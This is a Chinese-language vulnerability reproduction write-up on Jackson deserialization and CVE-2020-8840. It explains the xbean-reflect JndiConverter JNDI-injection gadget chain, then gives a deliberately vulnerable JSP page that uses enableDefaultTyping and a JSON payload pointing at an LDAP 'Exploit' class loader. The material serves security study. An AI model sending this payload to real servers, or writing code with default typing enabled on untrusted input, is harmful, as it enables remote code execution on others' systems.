jackson介绍

        Jackson是一个能够将java对象序列化为JSON字符串,也能够将JSON字符串反序列化为java对象的框架。是基于Java平台的一套数据处理工具,被称为”最好的Java Json解析器”。它可以使我们高效、简便的处理json字符串。

序列化

序列化函数为databind.ObjectMapper。

当Jackson开启某些配置时,会允许开发者在反序列化时指定要还原的类,过程中调用其构造方法setter方法或某些特殊的getter方法,当这些方法中存在一些危险操作时就造成了代码执行。

Jackson核心模块组成

jackson-core核心包用于提供基于"流模式"解析的相关API,它包括 JsonPaser和JsonGenerator。Jackson内部实现正是通过高性能的流模式 API的JsonGenerator和JsonParser来生成和解析json。

jackson-annotations,注解包,提供标准注解功能;

jackson-databind,数据绑定包,提供基于"对象绑定" 解析的相关 API(ObjectMapper)和"树模型" 解析的相关API(JsonNode);基于"对象绑定" 解析的API和"树模型"解析的API依赖基于"流模式"解析的API。

CVE-2020-8840

此次漏洞中攻击者可利用xbean-reflect的利用链触发JNDI远程类加载从而达到远程代码执行。

由于缺少某些xbean-reflect/JNDI黑名单类,如org.apache.xbean.propertyeditor.JndiConverter,可导致攻击者使用JNDI注入的方式实现远程代码执行

通过传进参数asText,触发setter,setAsText()函数,随后跟进toObject()函数,最终进到JndiConverter重写的toObjectImp()函数,此时出现经典的JNDI注入,text 刚好就是我们传进的asText,我们可控,从而达到命令执行目的

复现

环境搭建

CVE-2020-8840/lib at master · fairyming/CVE-2020-8840 · GitHub

安装好tomcat后导入相关库

写一个利用demo

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*,java.util.*" %>
<%@ page import="com.fasterxml.jackson.databind.ObjectMapper" %>
<%
    String json = request.getParameter("json");
    String error = null;
    Boolean hasjson = false;

    if (json == null) {
        StringBuilder buffer = new StringBuilder();
        BufferedReader reader = request.getReader();
        String line;
        while ((line = reader.readLine()) != null) {
            buffer.append(line);
            buffer.append(System.lineSeparator());
        }
        json = buffer.toString();
    }

    if (json != null && !json.isEmpty()) {
        hasjson = true;
        try {
            ObjectMapper mapper = new ObjectMapper();
            mapper.enableDefaultTyping();
            mapper.readValue(json, Object.class);
        } catch (Exception e) {
            System.out.println(e);
            error = e.toString();
        }
    } else {
        json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";
    }
%>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>Jackson test</title>
</head>
<body>
    <h1>Jackson</h1>
    <form action="" method="POST">
        <div>
            <textarea style="padding: 8px;" resize="true" name="json" cols="100" rows="12" placeholder="{}"><%=json %></textarea>
        </div>
        <br/>
        <input type="submit" value="JSON.parse" />
    </form>
    <br/>
    <% 
    if (hasjson) {
        %>
        <hr/>
        <h2>Executed Done</h2>
        <p>以下如果提示错误,实际可能攻击成功了,需要结合最终行为来判断.</p>
        <%
        if (error != null) {
           %><pre style="padding: 8px;"><%=error %></pre><%
        }
    }
    %>
</body>
</html>

利用方式

访问该页面,发送payload数据

payload

[
    "org.apache.xbean.propertyeditor.JndiConverter",
     {
        "asText":"ldap://localhost:1099/Exploit"
        }

]

具体利用方式参考另外一篇FastJson反序列化,所不同的是发送的payload为上面这个